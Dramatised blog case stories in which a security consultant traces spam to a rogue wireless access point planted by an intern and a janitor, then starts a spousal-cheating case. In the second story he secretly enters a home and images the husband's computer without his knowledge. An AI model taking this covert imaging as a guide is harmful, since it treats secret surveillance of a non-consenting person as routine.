“ISH Help Desk, Jon speaking. May I have your employee ID number please?” came from my telephone.

“Hi Jon - I’m a security consultant and I’m trying to reach your data security department. Can you put me in contact with them?” I pleaded.

“Which building are you in right now?” Jon queried.

“None - I’m in the parking lot on my cell phone looking for an extra battery for my laptop.” I said. Oh, that was a good one.

“Gotcha - give me your name and number and I’ll have them call you when I track them down.” Jon said.

“Wow - a help desk guy with a clue, following procedures. This place isn’t hopeless after all!” I joshed to myself.

I gave Jon my name and cell number, and searched my pants pockets for some coins - I was out of coffee… RING

“Chief here.” I spoke into the little magic phone.

“Uh, hello. This is Mikel - I am with ISH data security. You wished to report something?” he said in a very rich Russian accent.

“Hi Mikel - thank you for calling me back. I apologize for the theatrics surrounding my call - but I knew of no other way to reach you. I have a large ISP client who is being hammered with spam email from one of your netblocks.” I said.

“Spam? Spam is bad. We do not allow spam at all. " Mikel responded.

“I’m sure you don’t - but this is spam that I believe is unintentionally being funneled through your netblock.” I explained.

“I see. And how do you propose that this spam is coming from our netblocks?” Mikel asked.

“Give me your e-mail address, and I’m going to send you an overview of what I think is happening. After you read it, please let me know what you think.” I said.

“Ok, here is my e-mail address…” Mikel said as he hammered away with a private address.

(Aside)

The document I sent Mikel more or less described the following:

There were approximately one hundred IP addresses in their netblock that had sent mail to CL.
The IP addresses were all in the same subnet, owned by ISH.
The hostname of the machine sending the spam was the same - localhost.localdomain and a very funny X-MAILER header - it said “Suck it down!”

My suspicion was that somehow a machine(s) was appearing on these IP addresses at random intervals of time and firing off thousands of spam e-mails that were apparently directed at the domains that CL was hosting.

With Mikel’s help, this was going to become one of my most fascinating cases yet…

**Read Part 5 >

< Back to Part 3**

Source: archived original

Part V · Oct 24, 2003

“This is not possible on our network.” Mikel said tersely.

He had read my e-mail regarding the spam transmissions from their network and how the e-mails were being directed to CL-hosted domains.

“Can you humor me and take a look anyway?” I pleaded. My watch was reading 1700 hours, and I had gotten out of bed way too early this morning.

“You say these e-mails are still coming?” Mikel inquired.

“After my discussions with CL staff, we have installed access control lists on their border routers and are currently dropping all traffic from the netblock in question.” I responded. “However, that’s a band-aid. When these e-mail storms kick in, utilization on their routers climbs dramatically.”

I managed to squeeze out some technical details from Mikel about their network setup. The troublesome netblock was routed over their primary internet connection which happened to be a 6MB fiber link. This would explain how the spam traffic was able to overpower CL’s two BGP4-enabled routers that sat on two T1 lines. ISH apparently had very few ACL’s on their routers, no firewall between the router and any machines living on that subnet, and Mikel seemed irate when I brought up the concept of intrusion detection.

“Is this your idea of selling us your security ‘services’?” Mikel asked in a seemingly harsh tone…“Mikel, I am a consultant working for another company - I am seeking your assistance in stopping this traffic from harming my client - nothing more.” I pleaded yet again.

After an hour or two of convincing Mikel that I wasn’t selling him anything, that I didn’t work for the U.S. Government, and that I wasn’t a KGB operative (joke! it’s a joke!) he seemed to lighten up quite a bit.

(Aside) One needs to be very careful when seeking the assistance of a corporate data security team in a situation like this. If you are wondering why I didn’t actively probe Mikel’s network to begin with, the reason should be quite obvious now. It could have been taken the wrong way, and if recent court cases can teach us anything about the ignorance of companies and the internet, odds are they might have sought to prosecute me as a ‘hacker’. Gain their trust first, then seek assistance. If you get the assistance, great. If not, you need to throw the case into the hands of the client’s general counsel as soon as possible. (/Aside)

Mikel continued to talk to me on his cell phone while he entered the ISH datacenter. He logged into a workstation in the datacenter and brought up their network inventory system.

“Ok Chief, according to records, there are twenty active IP addresses in subnet. Most are web servers, mail servers, dns servers, media servers… I will now verify addresses and call you back.” Mikel said.

“Great! One more thing Mikel… " I began. “I’m more concerned with the IP addresses that you think AREN’T in use. "

“Yes yes… I will setup span port on switch like you ask and sniff.” Mikel replied. As I ended the cell phone call, I was getting a little frustrated with Mikel. I had a feeling that he wasn’t very experienced in what I was asking him to do - what kind of results was he going to achieve? Would it help my investigation?

I decided to catch a movie and relax and the local theater. Nothing like a good SCI-FI flick to relax the grey matter.

After the movie, I headed back to my home office with every intention of calling Dick and bringing him up to speed on the situation until my cell phone rang again.

“Chief” I barked.

“Yes, this is Mikel. I am thinking that I have bigger problem.” Mikel said.

“Yes?” I asked.

“I found something plugged into switch when I was plugging laptop into switch.” Mikel explained in an exciteable voice.

“YES? YES?” I said, growing impatient.

“And it has cable running under floor…”

**Read Part 6 >

< Back to Part 4**

Source: archived original

Part VI · Oct 28, 2003

“I’m sorry - there’s a cable running under the floor ?” I interrupted.

“Yes! Yes! From switch to purple box.” Mikel replied dropping the phone on the floor. My ear did NOT need that.

“Ok, but what does it say on the ‘purple box’? What is it?” I inquired with increasingly less patience.

After about fifteen minutes, I finally established that it was a Linksys wireless access point!

Things were making much more sense… Now I had to ask Mikel a painful set of questions.

“Mikel, do you allow wireless networking on your network?” I asked.

“No, no wireless networking. Network people already asked, I said no. Not secure enough!” Mikel replied.

“Good answer.” I thought to myself.

“Mikel, I think you might want to interview all the network folks and find out if they installed that for their convenience - circumventing your network security policy.” I suggested. “But first, unplug that thing!”

“I already unplug box.” Mikel said.

“NOW he shows initiative. Sheesh.” I mused to myself.

Mikel agreed to start interviewing the network staff, and I quickly entered a few pages of notes into my laptop.

At this point, I could give Mikel some suggestions on what to do next. He could simply confiscate the WAP and create a security procedure to periodically scan his physical property for unauthorized WAP’s using common tools like NetStumbler or KISMET. Or (after confering with his administrative/legal/managerial team) he could plug the WAP back in and keep that network sniffer active - possibly find out the who/what/when/where/how of the situation.

Several days had gone by. Dick was happy that his spam traffic returned to ’normal’ and was eager to cut me a check for my consulting help. I of course had no problem with that - except that in my mind the case was far from over.

Sitting in my home office, my mind was racing with different scenerios. I wanted to be onsite and working with Mikel so bad on this one! Unfortunately not all of my wishes come true.

RING went my cell phone.

“Chief.” I answered.

“Hello Chief. I have proposition for you.” Mikel said. “I have talked with director of information systems. He would like to meet you and discuss our situation. We have complaints and legal papers from other companies regarding spam.”

I almost dropped the phone.

“Really?” I replied, with the thoughts of yet more consulting fees dancing in my head. “No problem Mikel - let’s set something up.” It was looking like IHS’s problem was much wider than just CL’s hosted domains.

Two hours later an e-ticket for America West Airlines showed up in my inbox.

Looks like I was about to get my wish.

**Read Part 7 >

< Back to Part 5**

Source: archived original

Part VII · Oct 30, 2003

What a flight. I actually prefer to fly at night because I get an opportunity to do something that I don’t do very often: sleep. ISH was kind enough to fly me to their HQ in the first class section, and I wasn’t complaining.

“Another glass of bubbly should put me right to sleep.” I thought as the flight attendant poured the champagne in my glass.

A few hours later I was awakened by the captain alerting us that we were preparing to land. I was still a bit groggy, but able to remember how to turn my cell phone back on and get off the plane.

Minutes later I was clearing the security checkpoint at the airport when I noticed a gentleman carrying a sign written in red marker that said “Chief.”

“Mikel?” I asked the stranger as our eyes met.

“Yes. Hello. I hope flight was good. I will drive you to hotel.” Mikel said as we headed to the parking garage.

Mikel proceeded to fill me in on several staff meetings that he had attended regarding our recent findings, some background on the ISH IT Director, and the address where I could send my invoice.

Things were looking up… for now.

The morning came way too early. I managed to sneak another few hours of sleep before my taxi ride to ISH HQ.

The ISH receptionist greeted me with coffee (good beans) and escorted me down a never-ending hallway to a very large conference room.

Introductions were made, and I found myself speaking in front of the IT Director, Mikel, General Counsel, the PR Manager, and the CFO.

The IT Director spoke first.

“Chief, we have received numerous complaints from companies and individuals that they have been the recipients of large amounts of unsolicited email that originated from our computer network. Two of the complaints are from very large ISP organizations - Canada Online and NSN (names changed). This is completely new to us. We want to know how to address these concerns.” said the ITD.

The General Counsel squinted at me and said “You and Mikel have done some impressive work tracking this down. What we’d like from you is a full investigation on where this all started, who is involved, and what remediation steps we’re going to perform so that the organizations complaining to us will not press us for remedies of any kind.”

“Understood.” I said.

The meeting ended, and the ITD caught me going out the door.

“Chief, we followed your advice and decided not to interview more staff members. You should know that you are here under the disguise of a SAS*70 auditor.” the ITD said.

“Great - now nobody will want to talk to me.” I joked.

Mikel and I grabbed some lunch at a nearby deli and returned to ISH a few hours later.

We walked to the datacenter. I noticed that Mikel had to scan his ID badge and enter a PIN code to enter the datacenter. A good use of two-factor authentication.

The datacenter was at the very rear of the ISH building. I asked Mikel if we could exit the datacenter through the loading dock door in the rear so that I could look around. As we exited the door, I was shocked to see that access to the rear of the building was wide open to the access road and the parking garage . The rear door had no external door handle or means of entry - it had to be opened from the inside.

Back in the datacenter, Mikel showed me the WAP that he discovered and the network switch that the WAP was plugged into. Mikel had configured a span port on the switch so that his laptop could monitor the traffic on the WAP port, only he had never gotten a chance to use it.

I examined the WAP thoroughly and decided that I wanted more information. I attached a USB cable to the WAP, and the other end to my laptop which was dual-booted into Windows 2000 Professional. I happened to have the Linksys management tools installed on my laptop (what’s the boy scout motto again?). I started the USB management tool and was browsing the configuration in no time.

There were no surprises - the WAP was configured as an ethernet bridge. All of the other settings were factory default. No clues.

Essentially anyone that connected to the WAP could appear as a machine on their external subnet as long as they knew the proper IP settings.

“Mikel, I’d like to setup a monitoring session using the WAP and your laptop. Did you clear this with the GC llike I requested?” I asked.

“Yes - he was okay with request.” Mikel responded.

“Good - here’s the application we’ll need.” I said as I handed Mikel a CD. The CD contained a Windows Sniffer application and a log monitor. I configured the log monitor to send an alert to my cell phone via the laptop modem if it detected any SMTP traffic on the span port.

We placed the WAP and the sniffer laptop under the raised floor and up against the wall where Mikel had previously found the WAP. Mikel managed to snake the POTS line for the modem from the wall jack down into the floor without cutting the line with the floor tiles.

After discussing our sniffer project and exchanging war stories about information security, we decided to break for dinner, but a quick stop at the restroom was required.

As I entered the restroom I was startled by a loud electronic noise echoing through the tiled walls.

My cell phone had received a text message.

**Read Part 8 >

< Back to Part 6**

Source: archived original

Part VIII · Nov 4, 2003

“That didn’t take long!” I yelled at Mikel as we ran back into the datacenter after patiently waiting to authenticate at the main door.

Mikel removed the floor tile and I lifted the laptop out of it’s hiding spot. A quick tap of the spacebar and the screen came to life.

“What are you seeing on screen?” Mikel asked while doing a little dance-in-place next to me. Evidently Mikel had to talk to a man about a horse as well. I guess we’re both out of luck.

“Fascinating.” I said, engaging my Spock eyebrow as my fingers flew accross the keyboard. “The traffic started at exactly 1800 hours.”

“I do not understand relevance. 1800 hours? What?” Mikel pondered.

“I adjusted the time on my laptop to match the time on your application server over there in the corner.” I said, pointing towards a Sun E450 about five feet away. The server had a 17” Sun monitor propped on top, the CDE desktop clearly visible.

“And?” Mikel asked.

“All your servers are synced to a master time server, correct?” I asked.

“Yes.” Mikel replied.

“You don’t think that’s a one-in-a-million coincidence?” I queried.

I smell CRON (or maybe AT?).“Ok, so what is plan?” Mikel demanded.

“First, we find out what machine is on the other end of this wireless connection.” I said.

The IP address that was showing up in our sniffer session was one of the same IP addresses that had been found in the SMTP headers of the spam emails at CL.

BEEP

My cell phone had received another text message.

“What the…” I said as I scrolled through the message.

I grabbed the laptop from Mikel and started analyzing the traffic sessions very carefully, starting with the raw traffic stream and stripping out protocols, then service types, and then IP addresses.

“What! What!” Mikel yelled.

“Look at the time - 1815 hours. Look at the originating IP address.” I said as I gave the laptop back to Mikel and pointed out my resulting data set.

“Different IP Address. So what?” Mikel asked in a confused tone.

“Remember the data that I shared with you from CL?” I asked.

“Yes.” Mikel responded.

“Look at the sniffer data again - the MAC address is the same. The IP address is different. He’s rotating the IP address every fifteen minutes!” I exclaimed. I had to laugh inside after I said this. What good is rotating the IP address when you’re in the same subnet? Any anti-spam sysadmin would catch on to this rather quickly if they were reading their logs… well… if they read their logs.

“We need to find guy now!” Mikel responded.

Right after a bathroom break.

**Read Part 9 >

< Back to Part 7**

Source: archived original

Part IX · Nov 6, 2003

It just stopped.

Two minutes after a most-needed bathroom break, and the traffic on the wireless link had gone bye-bye.

“Where is it? Where?” Mikel asked, taking the laptop out of my hands.

“This is just a guess…” I began, “but I’d say they figured out that their spam isn’t going anywhere but the bit bucket. Maybe they are paying attention to their mailer cough spammer cough logs.”

“I am wondering where to go? How to catch him now?” Mikel pondered as he looked up at the ceiling like it was going to give him an answer.

“Let’s leave the gear and call it a night.” I said.

I needed a slice of banana cream pie bad.A few hours later I was enjoying a hard hotel room bed and the satisfaction of a full stomach. The amber ale for desert was a wonderful idea - or so I thought at the time.

RING

My leash rang at 0742 hours the next morning.

“Chief.” I said in possibly my most lathargic tone ever.

“Mikel. I have person in my office that you need to speak with.” Mikel informed me.

“Who is it?” I asked while scraping sleep from my eyes.

“It is network nerd from next door - says ISH people hack his network.” Mikel exclaimed.

“What? What makes him think that your employees are hacking his network?” I asked.

“He says we hijack wireless link and eat up bandwidth with mail. Sounding familiar to you?” Mikel asked, finally getting my attention.

“I’m on my way - get the coffee brewing.” I demanded.

“Sigh.” said Mikel as he hung up.

Now this was interesting. The company next door to ISH is now having quite possibly the same intrusive problems that ISH had. The coincidences in this case were driving me mad.

(Aside)

Through this case, I had kept ISH management involved as the events unfolded. It’s important that you as the investigator keep the client close in these types of circumstances since network intrusions (whether wired or wireless) can have serious legal ramifications.

You’ll notice that I take an extensive amount of notes while I work with timestamps. I advise you to do the same and refer to them often. Often the clue you’re looking for is right under your… well… it’s on your paper.

(/Aside)

BEEP

A text message appeared on my phone. SMTP traffic was being detected again - the originating IP was the same - and guess what time it was - 0800 hours on the dot according to my watch (which was on ISH time now).

Another coincidence?

(Aside)

*** Bonus points to the reader who can pick out the significant clue found in some of the past 8 postings. ***

(/Aside)

**Read Part 10 >

< Back to Part 8**

Source: archived original

Part X · Nov 11, 2003

“You’re killing me, Mikel.” I said as the swill posing as coffee touched my lips for a second time. “What is this, instant Folgers?” I asked.

Apparently Mikel did not understand the importance of good java while working a case.

I had raced down to ISH to meet with Mikel and the network nerd from next door.

“Chief, this is Frank - Frank, this is Chief - a security consultant.” Mikel announced as he made introductions.

“What do we have here? You told Mikel that you have a wireless intrusion going on?” I asked.

“Yes, we installed a wireless network about two weeks ago for executive management to use in their conference rooms. I admit that I just learned about 802.11 networks, but the point is that somebody is sending out mail from inside our network - and the IP is from a DHCP pool assigned to our wireless network.” Frank explained.

“Ok, but where does ISH come into play?” I fired back. “That’s a pretty serious allegation.”

“Well, we’re the only two buildings in this industrial area for about half a block - and I’ve confiscated all of our laptops and it’s still happening. I had my network vendor work with me last night, and he installed a network analyzer on the port that our WAP is plugged into - and the traffic is definately coming in on that wireless WAP.” Frank said. Frank was clearly out of his area of expertise, judging from his hesitant answers.

“Did you capture any of the traffic?” I inquired.

“I think we did - let me call the vendor real quick.” Frank said as he dialed a number on his cellphone.

“Mikel, I have a working theory - but I’m going to need your help to provie it.” I said as we walked into an ISH conference room…Hours later, Mikel, Frank, the ISH IT Director, and I were seated in that very same conference room analyzing the traffic captures from Frank. We were comparing the samples from ISH as well.

“The picture becomes clearer…” I began as I scanned the traffic captures. “The MAC address is the same.”

“So going by what we talked about hours earlier, you suspect the same person is responsible for your intrusion as well as mine?” Frank asked.

“The evidence would suggest that.” I replied.

I tapped my fingers on the conference room table.

“What?” Mikel asked. The silence in the room was deafening.

“Did you get that list I asked you for?” I asked Mikel.

“Yes - I am sorry it has taken days to get that information. I am sure it is on way - I will check.” Mikel said as he left the room.

“What did you ask him for, Chief?” asked the ISH IT Director.

“The ISH computer equipment inventory report. Your hardware group does the job of recording equipment purchasing, issuing and retiring based on my earlier examination. I asked for their entire inventory report when I first arrived.” I said.

“I don’t get it…what are you looking for?” the ISH IT Director asked.

Mikel burst into the conference room at a brisk pace.

“Here you go Chief!” Mikel said as he flung a three-ring binder into my lap.

“Hey, watch the monkey jewels!” I screamed as I took five pounds in the nether-regions of my pants.

I flipped through the book with anticipation.

“Chief? What are you looking for?” the ISH IT Director asked again.

I slowed my search in the book until I found the entry I was looking for.

“CHIEF!!!!” the ISH IT Director asked again. One mystery was solved - I knew who drank all the bad coffee earlier.

“I’m looking for a Compaq Laptop, inventory tag # 0011067 - and your interview notes for it’s owner.” I said.

“Doesn’t ring a bell…” the ISH IT Director began to say.

“I’m not surprised - because you never interviewed the owner of that laptop. " I responded.

“Eh?” the ISH IT Director’s face said.

“Jeremy Chandra” I barked back. “There is no incident interview form for him anywhere in the documents you provided me.”

“But… we interviewed… the entire IT staff… I don’t…” he stuttered.

“You’re overlooking one key fact.” I said, turning the 3-ring binder around on the table and pushing it the director’s way.

“He’s an intern in Marketing.”

(Aside)

WHY is the fact that the owner of this particular notebook an intern in marketing significant at this point?

How did I know that it was a Compaq laptop?

I have left out some fact from the investigation to see if anyone can figure it out. :-)

Does this change any of our theories? Support some existing ones?

Discuss.

sips coffee

(/Aside)

**Read Part 11 >

< Back to Part 9**

Source: archived original

Part XI · Nov 18, 2003

It was a breakdown in policy that was more painful than a root canal without novacaine. Judging from the scowl on the ISH IT Director’s face, I could tell that Dr. Monkey hit a nerve.

The tension in the conference room was getting thick.

“I’m curious why you only interviewed the IT department staff regarding this issue, when the sales and marketing staff are equipped with wireless-capable laptops?” the CFO said as he sat down next to the IT Director. Looks like someone finally read my status e-mail to the executive staff.

“It was a matter of procedure - one that I’ll be sure to correct going forward. So what do we do now Chief?” asked the IT Director, swaying attention away from his policy blundering.

“I want that laptop, and an interview with Jeremy.” I said as I sipped a mouthful of cold coffee.

Shortly after lunch I entered the office of the CFO. Mr. CFO was seated behind his desk, and Jeremy was sitting in a guest chair looking spooked. Mr. CFO’s receptionist closed the door after me and I took a seat directly opposite Jeremy.

“Jeremy, you can call me Chief - I’m a security consultant. I’d like to ask you about your laptop.” I said as I locked eyeballs with Jeremy.

“Uh, what about it? I mean, it’s a laptop.” he replied. If his ass fidgeted anymore in that leather chair, I feared he was going to start a fire. “It wasn’t even at my desk when I came back from lunch. I’m sorry that I left it there, but I didn’t think someone would steal it.”

“I know where your laptop is Jeremy. It’s being taken apart by some associates of mine.” I said with my best poker face.

“Apart? Why? What’s this all about?” Jeremy asked.

I volleyed a bombshell. “Tell me about Mark Wargo.”

Jeremy sat silent.

“Answer him.” bellowed the CFO. “We’re not farting around here.”

“I don’t know any Mark Wargo.” Jeremy said quietly.

“According to several e-mail messages recovered from your ISH mail account, you have a relationship of sorts with Mark.” I stated. “Or should I say, a living arrangement? Isn’t Mark your roommate?” I asked.

“Yes.” Jeremy replied.

“And you are both co-owners of JMSSC, LLC., correct?” I asked - referring to my late-night research on the company that was behind several of the products advertised in the SPAM e-mails.

“Yes.” Jeremy replied again.

“How does JMSSC make money? Give me the 411.” I demanded.

“We do targeted e-mail marketing. It’s legal and an honest living. What’s your point?” Jeremy snapped.

“Do you recognize this?” I asked, tossing a pink invoice that I had recovered from Jeremy’s desk into Jeremy’s lap.

Jeremy scanned the paper, closed his eyes and exhaled loudly.

“Jeremy, according to that invoice, you owe Level-9 hosting about $20,000 in late bandwidth charges.”

Jeremy said nothing.

I proceeded to spend the next twenty minutes describing the research involved in isolating the MAC address of the wireless card and tracking it back to his laptop. Jeremy continued to be unresponsive to my queries, until I ran around third base and headed for home.

“You had an accomplice in planting that WAP, did you not?” I asked.

Jeremy sighed. “Yes. They wanted in on our business. They helped us get around a lot of the problems we had once our colo provider cut us off. "

“What’s his name Jeremy?” I asked, moving in for the kill. Time to see if Jeremy’s confession and the supporting evidence fingered the same person.

“It was …”

(Aside)

The case is wrapping up, and I’m revealing a lot of investigative details that I left out earlier.

Who is the accomplice? What was the evidence that made them suspect?

What would an appropriate punishment be for Jeremy?

BTW, I’m currently on assignment so the blog updates are going to be slow. Sorry y’all!

(/Aside)

**Read Part 12 >

< Back to Part 10**

Source: archived original

Part XII · Nov 25, 2003

Four hours had gone by in the CFO’s office. The game of mental chess that I was playing with Jeremy was getting old fast. Jeremy decided to spill the beans.

“It was Phil.” Jeremy said, staring at the ground.

The CFO winced. “Phil? You mean Phil Gyser?”

“Yes. " Jeremy replied, still staring at the ground.

I flipped through some papers I had placed on the CFO’s desk.

“Let me get this straight - you decide to use this company’s network resources to transmit targeted spam mail, and the damned janitor is your partner?” the CFO said in disbelief.

I placed several printouts in front of the CFO.

“Take a look at this…” I said.“The first printout is what is called a ‘syslog’ or ‘system log’ from the network switch that the unauthorized WAP was plugged into. The WAP was plugged into port 17. According to this syslog, that port went active exactly 10 hours before the first spam transmission took place that was recorded by the CL folks.” I said.

I drew the CFO’s attention to the second piece of paper.

“This is the security badge access log for the same day. If you correlate the times [Ed. All machines were NTP synced at this place - thank goodness.], you’ll notice that Phil’s badge was swiped 4 minutes before the switch port went online. No other access to that room is recorded for another two hours. Phil was nice enough to sign himself out of the datacenter as well - according to the activity log posted by the door.” I explained.

“Chief, I don’t understand - how did Phil know how to hook this stuff up? He’s not a computer guy at all.” the CFO asked.

“According to his personnel file, Phil’s last job was at DataTron Semiconducter - as a systems administrator. Apparently the downturn in the tech job market prompted Phil to seek another means of earning an income.” I said as I passed the CFO a copy of Phil’s personnel record.

“Ok, so Jeremy and Phil hooked up, got the WAP installed - who’s talking to the WAP? I don’t understand this.” the CFO said.

I was interrupted at this point by the IT Director and Mikel entering the office with a dishoveled looking guy in tow.

“I’d like you all to meet my new friend Mark.” the IT director said as he asked Mark to have a seat.

“He was sitting in car with laptop by door.” Mikel said, beaming from ear to ear.

I glanced down at my watch and started to laugh.

It was 1805 hours.

So much for the punctual drive-by spammers.

(Aside) It took twelve installments, but I think I covered most of the important points of this case. This is one of the longest investigations I’ve ever had to do. Most of my time was spent chasing after ISH employees to get me records, logs, interviews, etc. Organization is key to a successful investigation. The fact that all of ISH’s servers and equipment were logging to a central logging server and all the machines and network equipment were ntp-synced helped tremendously. Without the NTP syncing, correlating times would have been a lot more work.

Jeremy and Mark had no idea that they had accidentally used a neighbor’s network to start transmitting spam. When I asked them about this, they pleaded complete ignorance. While Jeremy and Mark had some decent tech skills (Phil wasn’t too bad either), they lacked depth and experience.

The custom scripts and software that they had written had numerous problems. They ended up spamming the same group of email addresses over and over again rather than using the new email lists that they had acquired through various means. If they hadn’t concentrated on the same addresses over and over, CL might have not called me - and I might have not caught them.

Jeremy was fired that very day. Phil was fired about an hour after Jeremy. ISH threatened them all with legal action, however under the advice of legal counsel the entire issue was dropped.

You win some, you lose some…

(/Aside)

Until next time.

~ SecMonk

**< Back to Part 11

< Start from Part 1**

Source: archived original

07. Case of the Heartless Husband

Mon, 22 Dec 2003 00:00:00 +0000

Part I · Dec 22, 2003

I never know what my next assignment will be. One minute I’m up to my armpits in child pr0n distributors, the next minute I’m catching an overpaid executive selling company secrets… and before you know it I’m low on coffee and grumpy as hell.

And so our next case begins… with me being low on coffee and really grumpy.

The night before ended as the sun came up - only problem was that I had never made it to bed. I was staring blankly into an LCD display, watching my copy of Autopsy scroll through an imaged hard drive. The owner of the original hard drive had his web server hacked, and I was digging out dirt from between the fingernails of the linux filesystem.

ring

Hearing my cell phone ring at 0700 hours is like asking a 300 lb linebacker to smash my head into my desk a few times before he slams me to the ground in a piledriver move. Yeah, it’s no fun.

“Chief” I croaked into the phone.

“Um, yeah - I was given your number by a Ted. He said you do computer investigation work?” the female voice asked over the phone.

“Maybe - who’s asking?” I replied.

“My name is Donna - and I - well - I think my husband is cheating on me. He stays on our phone all night with some woman. He always has a zillion chat windows open on our computer and never tells me who he’s talking to… I just don’t know what to do and Ted told me…” Donna sputtered off into the distance.

“Okay, okay. Let’s meet for lunch.” I suggested.

A quick smell of my shirt told me I needed to shower - and find last night’s coffee cup. I’m sure I had some dark roast in there… might have to microwave it….We met at a local sandwich shop known for their incredible bread and homemade orange soda. I wasn’t into orange soda, but I saw a fresh pot of joe coming off the brewer and I was twenty minutes into a caffeine withdrawal that would kill Keith Richards.

“Thanks for meeting me Chief.” Donna said as I shook her hand.

“Ok, so here’s the deal.” I started. “If you suspect he’s using the computer to arrange these dates and carry out illicit conversations, then I’ll need access to the computer when he’s not there. I need about an hour or two to enter the home, image the hard drive and put things back the way I found them.” I said in between bites of a wonderful turkey and swiss on sourdough.

“Well, it shouldn’t be a problem - he leaves at 0730 every weekday and returns around 1800. I work the same hours though, so I’ll just give you a key.” Donna said as she reached into her purse.

‘That works - and if you have any pets - like large blood-thirsty dogs, please put them in the backyard." I joked, remembering the three pairs of pants I had lost to man’s best friend.

“Not a problem.” Donna said as she handed me a key to her home and an envelope with my retainer.

This case was sure to be a no-brainer, and an easy way to pump up the “Chief’s Coffee Plantation” savings account.

The next morning came quickly, and I was already pumped to slam-dunk this case and move on to other business. I threw Rosco (remember Rosco?) in the trunk of the car and headed out.

I arrived at Donna’s house around 0930 hours. The place was quiet - no neighbors around - no dogs barking. Excellent - just the way I like it.

I parked two houses down, removed Rosco from the trunk and headed to the front door.

A minute later, I was in the home and was careful to lock the door behind me.

I walked down the hall into Donna’s den, and spied the Compaq workstation on the desk, powered on and booted into a Windows 98 desktop. Joy.

Removing my digital camera from my equipment bag, I snapped several photos of the room to insure that I put everything back the way I found it.

I approached the desk and looked at the Windows 98 desktop. No applications were running. Good.

I pulled the workstation out from under the desk a few feet until I had visual contact with the cables running into the back of the computer. I snapped a few more photos.

After writing down a few observations of the room, I grasped the power cord and gave it a quick yank. The machine was quiet in a matter of seconds.

Using my trusty electric screwdriver, I had the case of the computer off in a matter of a minute or two.

I opened Rosco’s case and powered him on. Time to image this bad boy.

I was in the process of disconnecting the primary IDE cable from the hard drive in the workstation when my cell phone vibrated.

“Chief.” I whispered into the phone.

“CHIEF! IT’S DONNA! MY HUSBAND ISN’T AT WORK! I THINK HE’S ON HIS WAY HOME!” Donna screamed into my ear canal.

Her words had barely penetrated my cranial cavity when I heard a car pull up into the driveway of the home.

Now would be a great time to panic.

Source: archived original

Part II · Jan 2, 2004

If one must do investigative work, one must learn to mentally track each and every step that one does and be able to work in reverse very quickly.

The sound of the car pulling into the driveway was still fresh in my ears. I had to make some quick decisions.

I quickly placed the case back on the workstation (sans screws), inserted the power cord, and pushed the workstation back into place. I hit the ‘power’ button on the front of the machine and listened for the power supply fan to come on.

Within microseconds I had Rosco closed and slung over my shoulder - I needed to find a secondary exit to this house.

As I rounded the kitchen counter and placed my hand on the back door knob a familiar voice rang through the house.

“Chief! Chief! Let’s go! You need to get out here now!“It was my client. Perhaps I had hung up on her too fast in my panic - looks like she raced home to play interference if necessary.

No matter - I was already exiting through the backdoor of the house and heading for the gate.

Less than a minute later I was seated in my car sharing a cold aluminum-colored mug of coffee with Rosco. My eyes were transfixed on my client’s house - for the first time I was going to see Donna’s husband.

I was two sips away from the bottom of my french roast when a red pickup truck pulled in front of the house. A large Pacific-Islander-looking type exited the vehicle and headed towards the house.

Time to return home and wait for Donna to contact me again - and change my shorts.

(Aside)

Will Donna’s husband notice that his workstation doesn’t have any screws holding the case on?

How will I successfully image the harddrive? Same plan, different time?

What am I going to tell Donna so this doesn’t happen on my next attempt?

(/Aside)

Source: archived original

Part III · Jan 12, 2004

Gulp.

I crave excitement like the next guy, but the thought of a big burly Pacific-Islander-Linebacker-type finding me in his den tearing his computer apart is just frightening. What if he threw me through a window? What if he had a gun? WHAT IF HE SPILLED MY COFFEE!

shudder

I grabbed a bite to eat on the way home and then hurried into my home office. I hadn’t been sitting down for more than thirty seconds when my cell phone rang.

“Chief” I said between a burp and a hiccup, giving me a unique “Pee-Wee Herman” sound.

“Chief?” Donna’s voice said on the other end of the phone.

“That’s what I said!” I replied.

“Chief, I am SO sorry about that. My husband called me when he was halfway home from work to tell me that he was taking the rest of the day off to go play golf. I called as soon as I could!” she exclaimed.

“Lucky for you I have these cat-like reflexes!” I joked. “But seriously, I need access to that machine. I need you to escort your husband out someplace and keep him occupied for at least an hour. The hard drive in that machine looked pretty small - Windows reported 4GB of total storage space. Shouldn’t take long.”

“Ok - look - he’s going to be at the country club after his golf game today… you want to try tonight? I’ll go meet him up at the club and keep him occupied.”

“Works for me.” I said as I ended the conversation.1900 hours and I’m in Mission Impossible mode. I’m parked outside of Donna’s house, waiting for the “all clear” cell phone call.

A few minutes later, my cell phone rang. It was Donna - and everything was going to plan. I had about 90 minutes until they’d be home.

I sprang from my car and sprinted through the side gate and entered the house through the laundry room door. I sprinted into the den and started my imaging procedure again.

I took pictures of the area with my digital camera.

I wrote some notes on the type of hardware and data/voice connections I saw.

The computer was on and still booted into Windows. I carefully pulled the computer forward so that I had access to the back of the case.

I yanked the power cord and heard the power supply fan die a slow death.

I gripped both sides of the case and gave a slight push to wedge the case off of the machine.

Won’t budge.

WTH, over.

There were screws in the back of the case.

Whoops - looks like somebody noticed I was there.

The rules of the game had suddenly changed. I extracted the screws, slid the case off and began the imaging procedure with Rosco.

Encase was tearing through the drive at an impressive speed. As the imaging proceeded, I nervously walked around the room. Something didn’t feel right… something familiar… like I was being watched.

I began thumbing through the books on the desk and in the bookcase. I sat down on the floor near the computer and started thumbing through my notes.

Encase finished the image in record time. I packed Rosco up, and proceeded to put the computer case back together. As I powered the machine back on I heard a low, gurgling noise. Thinking I had an IDE cable dangling in the machine and possibly touching a CPU fan I started to unscrew the case again.

I heard the noise again and turned to my left.

I was being watched by a 150 pound Great Dane.

Nice Doggy.

gulp

Source: archived original

Part IV · Feb 1, 2004

“Nice doggy” I whispered. Where did this dog come from, and how did he get in the house? Or was he in the house the whole time?

I walked slowly towards the dog, grinning ear to ear in the hope that he wouldn’t eat me. The dog wasn’t the least bit interested in me, placed his head between his front two paws and went to sleep.

A quick walk to the rear of the house showed that the dog had been asleep in a bedroom and walked out to greet me. “The client is going to get an earful from me!!!” I said under my breath.

I collected my sanity, packed my gear, put the computer back together (including the screws) and booted the machine back into Windows.

Exit, stage left.Back at my home office, I brewed a nice pot of Starbucks coffee and began the evidence inspection routine. I carefully read over my notes to make sure that they were complete. I made a quick copy of my evidence drive (the encase image) and placed the evidence drive back into it’s static bag and marked the date/time on the bag. “Gotta cross my T’s” I thought to myself.

I placed the copy of the evidence drive (my “working copy”) in my evidence analysis machine (which is basically a Windows 2000 professional workstation with Encase/Forensic Toolkit [FTK] installed) as a slave drive and proceeded to work through the Encase image.

